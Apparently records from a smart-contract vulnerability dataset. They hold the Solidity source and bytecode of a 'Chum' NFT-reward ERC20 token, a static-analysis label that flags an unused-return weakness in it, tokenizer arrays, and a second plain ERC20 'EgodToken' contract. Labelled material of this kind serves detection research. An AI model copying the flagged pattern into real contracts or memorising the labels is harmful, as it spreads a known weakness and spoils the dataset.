virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/chum.sol pragma solidity ^0.8.0; //By: @RockyFantana //With inspiration from CryptoHoots + @White_Oak_Kong interface IMarineMarauderz { function balanceOf(address _user) external view returns(uint256); function ownerOf(uint256 _tokenId) external view returns(address); function amountMinted() external view returns (uint256); } contract Chum is ERC20("Chum", "CHUM"), Ownable { struct ContractSettings { uint256 baseRate; uint256 initIssuance; uint256 start; uint256 end; } mapping(address => ContractSettings) public contractSettings; mapping(address => bool) public trustedContracts; uint256 constant public MAX_BASE_RATE = 10 ether; uint256 constant public MAX_INITIAL_ISSUANCE = 200 ether; // Prevents new contracts from being added or changes to disbursement if permanently locked bool public isLocked = false; mapping(bytes32 => uint256) public lastClaim; event RewardPaid(address indexed user, uint256 reward); constructor() {} /** - needs onlyOwner flag - needs to check that the baseRate and initIssuance are not greater than the max settings - require that contract isn't locked */ function addContract(address _contractAddress, uint256 _baseRate, uint256 _initIssuance) public onlyOwner { require(_baseRate <= MAX_BASE_RATE && _initIssuance <= MAX_INITIAL_ISSUANCE, "baseRate or initIssuance exceeds max value."); require(!isLocked, "Cannot add any more contracts."); // add to trustedContracts trustedContracts[_contractAddress] = true; // initialize contractSettings contractSettings[_contractAddress] = ContractSettings({ baseRate: _baseRate, initIssuance: _initIssuance, start: block.timestamp, end: type(uint256).max }); } /** - sets an end date for when rewards officially end */ function setEndDateForContract(address _contractAddress, uint256 _endTime) public onlyOwner { require(!isLocked, "Cannot modify end dates after lock"); require(trustedContracts[_contractAddress], "Not a trusted contract"); contractSettings[_contractAddress].end = _endTime; } function claimReward(address _contractAddress, uint256 _tokenId) public returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract."); require(contractSettings[_contractAddress].end > block.timestamp, "Time for claiming on that contract has expired."); require(IMarineMarauderz(_contractAddress).ownerOf(_tokenId) == msg.sender, "Caller does not own the token being claimed for."); // compute chum to be claimed uint256 unclaimedReward = computeUnclaimedReward(_contractAddress, _tokenId); // update the lastClaim date for tokenId and contractAddress bytes32 lastClaimKey = keccak256(abi.encode(_contractAddress, _tokenId)); lastClaim[lastClaimKey] = block.timestamp; // mint the tokens and distribute to msg.sender _mint(msg.sender, unclaimedReward); emit RewardPaid(msg.sender, unclaimedReward); return unclaimedReward; } function claimRewards(address _contractAddress, uint256[] calldata _tokenIds) public returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract."); require(contractSettings[_contractAddress].end > block.timestamp, "Time for claiming has expired"); uint256 totalUnclaimedRewards = 0; for(uint256 i = 0; i < _tokenIds.length; i++) { uint256 _tokenId = _tokenIds[i]; require(IMarineMarauderz(_contractAddress).ownerOf(_tokenId) == msg.sender, "Caller does not own the token being claimed for."); // compute chum to be claimed uint256 unclaimedReward = computeUnclaimedReward(_contractAddress, _tokenId); totalUnclaimedRewards = totalUnclaimedRewards + unclaimedReward; // update the lastClaim date for tokenId and contractAddress bytes32 lastClaimKey = keccak256(abi.encode(_contractAddress, _tokenId)); lastClaim[lastClaimKey] = block.timestamp; } // mint the tokens and distribute to msg.sender _mint(msg.sender, totalUnclaimedRewards); emit RewardPaid(msg.sender, totalUnclaimedRewards); return totalUnclaimedRewards; } function permanentlyLock() public onlyOwner { isLocked = true; } function getUnclaimedRewardAmount(address _contractAddress, uint256 _tokenId) public view returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract"); uint256 unclaimedReward = computeUnclaimedReward(_contractAddress, _tokenId); return unclaimedReward; } function getUnclaimedRewardsAmount(address _contractAddress, uint256[] calldata _tokenIds) public view returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract"); uint256 totalUnclaimedRewards = 0; for(uint256 i = 0; i < _tokenIds.length; i++) { totalUnclaimedRewards += computeUnclaimedReward(_contractAddress, _tokenIds[i]); } return totalUnclaimedRewards; } function getTotalUnclaimedRewardsForContract(address _contractAddress) public view returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract"); uint256 totalUnclaimedRewards = 0; uint256 amountMinted = IMarineMarauderz(_contractAddress).amountMinted(); for(uint256 i = 0; i < amountMinted; i++) { totalUnclaimedRewards += computeUnclaimedReward(_contractAddress, i); } return totalUnclaimedRewards; } function getLastClaimedTime(address _contractAddress, uint256 _tokenId) public view returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract"); bytes32 lastClaimKey = keccak256(abi.encode(_contractAddress, _tokenId)); return lastClaim[lastClaimKey]; } function computeAccumulatedReward(uint256 _lastClaimDate, uint256 _baseRate, uint256 currentTime) internal pure returns (uint256) { require(currentTime > _lastClaimDate, "Last claim date must be smaller than block timestamp"); uint256 secondsElapsed = currentTime - _lastClaimDate; uint256 accumulatedReward = secondsElapsed * _baseRate / 1 days; return accumulatedReward; } function computeUnclaimedReward(address _contractAddress, uint256 _tokenId) internal view returns (uint256) { require(trustedContracts[_contractAddress], "Not a trusted contract"); // Will revert if tokenId does not exist IMarineMarauderz(_contractAddress).ownerOf(_tokenId); // build the hash for lastClaim based on contractAddress and tokenId bytes32 lastClaimKey = keccak256(abi.encode(_contractAddress, _tokenId)); uint256 lastClaimDate = lastClaim[lastClaimKey]; uint256 baseRate = contractSettings[_contractAddress].baseRate; // if there has been a lastClaim, compute the value since lastClaim if (lastClaimDate != uint256(0)) { return computeAccumulatedReward(lastClaimDate, baseRate, block.timestamp); } else { // if there has not been a lastClaim, add the initIssuance + computed value since contract startDate uint256 totalReward = computeAccumulatedReward(contractSettings[_contractAddress].start, baseRate, block.timestamp) + contractSettings[_contractAddress].initIssuance; return totalReward; } } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806370a082311161010457806395fbf7ea116100a2578063b817cc6011610071578063b817cc601461039d578063dd62ed3e146103b0578063e5919a4f146103c3578063f2fde38b146103d6576101cf565b806395fbf7ea1461034c578063a457c2d71461036f578063a4e2d63414610382578063a9059cbb1461038a576101cf565b80638da5cb5b116100de5780638da5cb5b146103095780638f33221e1461031e57806390689c361461033157806395d89b4114610344576101cf565b806370a08231146102e6578063715018a6146102f95780637bf9601414610301576101cf565b80632a07e1bb116101715780633af7c6781161014b5780633af7c678146102b0578063511a9267146102b8578063543e0d16146102c05780636bac8de2146102d3576101cf565b80632a07e1bb14610275578063313ce56714610288578063395093511461029d576101cf565b8063174e31c4116101ad578063174e31c41461023257806318160ddd14610245578063220eecfb1461024d57806323b872dd14610262576101cf565b806305231dea146101d457806306fdde03146101fd578063095ea7b314610212575b600080fd5b6101e76101e2366004611551565b6103e9565b6040516101f49190611bd5565b60405180910390f35b610205610608565b6040516101f4919061169a565b6102256102203660046115d3565b61069a565b6040516101f4919061168f565b6101e76102403660046115d3565b6106b8565b6101e761086d565b61026061025b3660046115d3565b610873565b005b610225610270366004611511565b61092c565b6101e761028336600461149a565b6109bc565b610290610aa6565b6040516101f49190611bf9565b6102256102ab3660046115d3565b610aab565b6101e7610aff565b610260610b0c565b6101e76102ce366004611551565b610b5a565b6101e76102e1366004611632565b610bf5565b6101e76102f436600461149a565b610c07565b610260610c22565b6101e7610c6d565b610311610c79565b6040516101f49190611662565b61026061032c3660046115fe565b610c88565b6101e761033f3660046115d3565b610d98565b610205610e12565b61035f61035a36600461149a565b610e21565b6040516101f49493929190611bde565b61022561037d3660046115d3565b610e48565b610225610ec1565b6102256103983660046115d3565b610eca565b6101e76103ab3660046115d3565b610ede565b6101e76103be3660046114d9565b610f2a565b6102256103d136600461149a565b610f55565b6102606103e436600461149a565b610f6a565b6001600160a01b03831660009081526007602052604081205460ff1661042a5760405162461bcd60e51b815260040161042190611915565b60405180910390fd5b6001600160a01b03841660009081526006602052604090206003015442106104645760405162461bcd60e51b81526004016104219061194c565b6000805b838110156105b457600085858381811061049257634e487b7160e01b600052603260045260246000fd5b905060200201359050336001600160a01b0316876001600160a01b0316636352211e836040518263ffffffff1660e01b81526004016104d19190611bd5565b60206040518083038186803b1580156104e957600080fd5b505afa1580156104fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052191906114bd565b6001600160a01b0316146105475760405162461bcd60e51b815260040161042190611983565b60006105538883610fdb565b905061055f8185611c07565b935060008883604051602001610576929190611676565b60408051601f198184030181529181528151602092830120600090815260099092529020429055508291506105ac905081611cb0565b915050610468565b506105bf3382611142565b336001600160a01b03167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040516105f89190611bd5565b60405180910390a2949350505050565b60606003805461061790611c75565b80601f016020809104026020016040519081016040528092919081815260200182805461064390611c75565b80156106905780601f1061066557610100808354040283529160200191610690565b820191906000526020600020905b81548152906001019060200180831161067357829003601f168201915b5050505050905090565b60006106ae6106a761120e565b8484611212565b5060015b92915050565b6001600160a01b03821660009081526007602052604081205460ff166106f05760405162461bcd60e51b815260040161042190611915565b6001600160a01b038316600090815260066020526040902060030154421061072a5760405162461bcd60e51b8152600401610421906117fe565b6040516331a9108f60e11b815233906001600160a01b03851690636352211e90610758908690600401611bd5565b60206040518083038186803b15801561077057600080fd5b505afa158015610784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a891906114bd565b6001600160a01b0316146107ce5760405162461bcd60e51b815260040161042190611983565b60006107da8484610fdb565b9050600084846040516020016107f1929190611676565b60408051601f19818403018152918152815160209283012060008181526009909352912042905590506108243383611142565b336001600160a01b03167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e04868360405161085d9190611bd5565b60405180910390a2509392505050565b60025490565b61087b61120e565b6001600160a01b031661088c610c79565b6001600160a01b0316146108b25760405162461bcd60e51b8152600401610421906118e0565b60085460ff16156108d55760405162461bcd60e51b815260040161042190611a18565b6001600160a01b03821660009081526007602052604090205460ff1661090d5760405162461bcd60e51b815260040161042190611af2565b6001600160a01b03909116600090815260066020526040902060030155565b60006109398484846112c6565b6001600160a01b03841660009081526001602052604081208161095a61120e565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561099d5760405162461bcd60e51b815260040161042190611898565b6109b1856109a961120e565b858403611212565b506001949350505050565b6001600160a01b03811660009081526007602052604081205460ff166109f45760405162461bcd60e51b815260040161042190611af2565b600080836001600160a01b0316637af284d56040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3057600080fd5b505afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a68919061164a565b905060005b81811015610a9d57610a7f8582610fdb565b610a899084611c07565b925080610a9581611cb0565b915050610a6d565b50909392505050565b601290565b60006106ae610ab861120e565b848460016000610ac661120e565b6001600160a01b03908116825260208083019390935260409182016000908120918b1681529252902054610afa9190611c07565b611212565b680ad78ebc5ac620000081565b610b1461120e565b6001600160a01b0316610b25610c79565b6001600160a01b031614610b4b5760405162461bcd60e51b8152600401610421906118e0565b6008805460ff19166001179055565b6001600160a01b03831660009081526007602052604081205460ff16610b925760405162461bcd60e51b815260040161042190611af2565b6000805b83811015610bec57610bce86868684818110610bc257634e487b7160e01b600052603260045260246000fd5b90506020020135610fdb565b610bd89083611c07565b915080610be481611cb0565b915050610b96565b50949350505050565b60096020526000908152604090205481565b6001600160a01b031660009081526020819052604090205490565b610c2a61120e565b6001600160a01b0316610c3b610c79565b6001600160a01b031614610c615760405162461bcd60e51b8152600401610421906118e0565b610c6b60006113f0565b565b678ac7230489e8000081565b6005546001600160a01b031690565b610c9061120e565b6001600160a01b0316610ca1610c79565b6001600160a01b031614610cc75760405162461bcd60e51b8152600401610421906118e0565b678ac7230489e800008211158015610ce85750680ad78ebc5ac62000008111155b610d045760405162461bcd60e51b81526004016104219061184d565b60085460ff1615610d275760405162461bcd60e51b815260040161042190611b22565b6001600160a01b039092166000818152600760209081526040808320805460ff19166001908117909155815160808101835295865285830196875242868301908152600019606088019081529585526006909352922093518455935190830155915160028201559051600390910155565b6001600160a01b03821660009081526007602052604081205460ff16610dd05760405162461bcd60e51b815260040161042190611af2565b60008383604051602001610de5929190611676565b60408051808303601f19018152918152815160209283012060009081526009909252902054949350505050565b60606004805461061790611c75565b60066020526000908152604090208054600182015460028301546003909301549192909184565b60008060016000610e5761120e565b6001600160a01b0390811682526020808301939093526040918201600090812091881681529252902054905082811015610ea35760405162461bcd60e51b815260040161042190611b59565b610eb7610eae61120e565b85858403611212565b5060019392505050565b60085460ff1681565b60006106ae610ed761120e565b84846112c6565b6001600160a01b03821660009081526007602052604081205460ff16610f165760405162461bcd60e51b815260040161042190611af2565b6000610f228484610fdb565b949350505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60076020526000908152604090205460ff1681565b610f7261120e565b6001600160a01b0316610f83610c79565b6001600160a01b031614610fa95760405162461bcd60e51b8152600401610421906118e0565b6001600160a01b038116610fcf5760405162461bcd60e51b815260040161042190611730565b610fd8816113f0565b50565b6001600160a01b03821660009081526007602052604081205460ff166110135760405162461bcd60e51b815260040161042190611af2565b6040516331a9108f60e11b81526001600160a01b03841690636352211e9061103f908590600401611bd5565b60206040518083038186803b15801561105757600080fd5b505afa15801561106b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108f91906114bd565b50600083836040516020016110a5929190611676565b60408051601f198184030181529181528151602092830120600081815260098452828120546001600160a01b03891682526006909452919091205490925081156110fe576110f4828242611442565b93505050506106b2565b6001600160a01b0386166000908152600660205260408120600181015460029091015461112c908442611442565b6111369190611c07565b94506106b29350505050565b6001600160a01b0382166111685760405162461bcd60e51b815260040161042190611b9e565b61117460008383611495565b80600260008282546111869190611c07565b90915550506001600160a01b038216600090815260208190526040812080548392906111b3908490611c07565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111f6908590611bd5565b60405180910390a361120a60008383611495565b5050565b3390565b6001600160a01b0383166112385760405162461bcd60e51b815260040161042190611a5a565b6001600160a01b03821661125e5760405162461bcd60e51b815260040161042190611776565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906112b9908590611bd5565b60405180910390a3505050565b6001600160a01b0383166112ec5760405162461bcd60e51b8152600401610421906119d3565b6001600160a01b0382166113125760405162461bcd60e51b8152600401610421906116ed565b61131d838383611495565b6001600160a01b038316600090815260208190526040902054818110156113565760405162461bcd60e51b8152600401610421906117b8565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061138d908490611c07565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113d79190611bd5565b60405180910390a36113ea848484611495565b50505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008382116114635760405162461bcd60e51b815260040161042190611a9e565b600061146f8584611c5e565b90506000620151806114818684611c3f565b61148b9190611c1f565b9695505050505050565b505050565b6000602082840312156114ab578081fd5b81356114b681611ce1565b9392505050565b6000602082840312156114ce578081fd5b81516114b681611ce1565b600080604083850312156114eb578081fd5b82356114f681611ce1565b9150602083013561150681611ce1565b809150509250929050565b600080600060608486031215611525578081fd5b833561153081611ce1565b9250602084013561154081611ce1565b929592945050506040919091013590565b600080600060408486031215611565578283fd5b833561157081611ce1565b9250602084013567ffffffffffffffff8082111561158c578384fd5b818601915086601f83011261159f578384fd5b8135818111156115ad578485fd5b87602080830285010111156115c0578485fd5b6020830194508093505050509250925092565b600080604083850312156115e5578182fd5b82356115f081611ce1565b946020939093013593505050565b600080600060608486031215611612578283fd5b833561161d81611ce1565b95602085013595506040909401359392505050565b600060208284031215611643578081fd5b5035919050565b60006020828403121561165b578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602080835283518082850152825b818110156116c6578581018301518582016040015282016116aa565b818111156116d75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252602f908201527f54696d6520666f7220636c61696d696e67206f6e207468617420636f6e74726160408201526e31ba103430b99032bc3834b932b21760891b606082015260800190565b6020808252602b908201527f6261736552617465206f7220696e697449737375616e6365206578636565647360408201526a1036b0bc103b30b63ab29760a91b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f4e6f742061207472757374656420636f6e74726163742e000000000000000000604082015260600190565b6020808252601d908201527f54696d6520666f7220636c61696d696e67206861732065787069726564000000604082015260600190565b60208082526030908201527f43616c6c657220646f6573206e6f74206f776e2074686520746f6b656e20626560408201526f34b7339031b630b4b6b2b2103337b91760811b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526022908201527f43616e6e6f74206d6f6469667920656e64206461746573206166746572206c6f604082015261636b60f01b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526034908201527f4c61737420636c61696d2064617465206d75737420626520736d616c6c65722060408201527307468616e20626c6f636b2074696d657374616d760641b606082015260800190565b602080825260169082015275139bdd0818481d1c9d5cdd19590818dbdb9d1c9858dd60521b604082015260600190565b6020808252601e908201527f43616e6e6f742061646420616e79206d6f726520636f6e7472616374732e0000604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60008219821115611c1a57611c1a611ccb565b500190565b600082611c3a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c5957611c59611ccb565b500290565b600082821015611c7057611c70611ccb565b500390565b600281046001821680611c8957607f821691505b60208210811415611caa57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611cc457611cc4611ccb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610fd857600080fdfea2646970667358221220981b52c46d936ab28210b02486c910cc3c11eae3012c18ccd809f72fc839bdd964736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 27421, 2629, 2497, 2487, 2546, 20842, 2620, 2620, 18139, 28311, 2475, 26095, 2850, 2549, 2546, 2629, 2094, 2549, 2850, 12376, 16048, 21926, 2487, 9468, 2063, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,655
0x957d882658b03aa865d427b1c07726638af69d63
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract EgodToken is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Weensy Go"; symbol = "EGOD"; decimals = 18; _totalSupply = 20000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820b17e69a33198487d487415c42d24c4369a8ff86d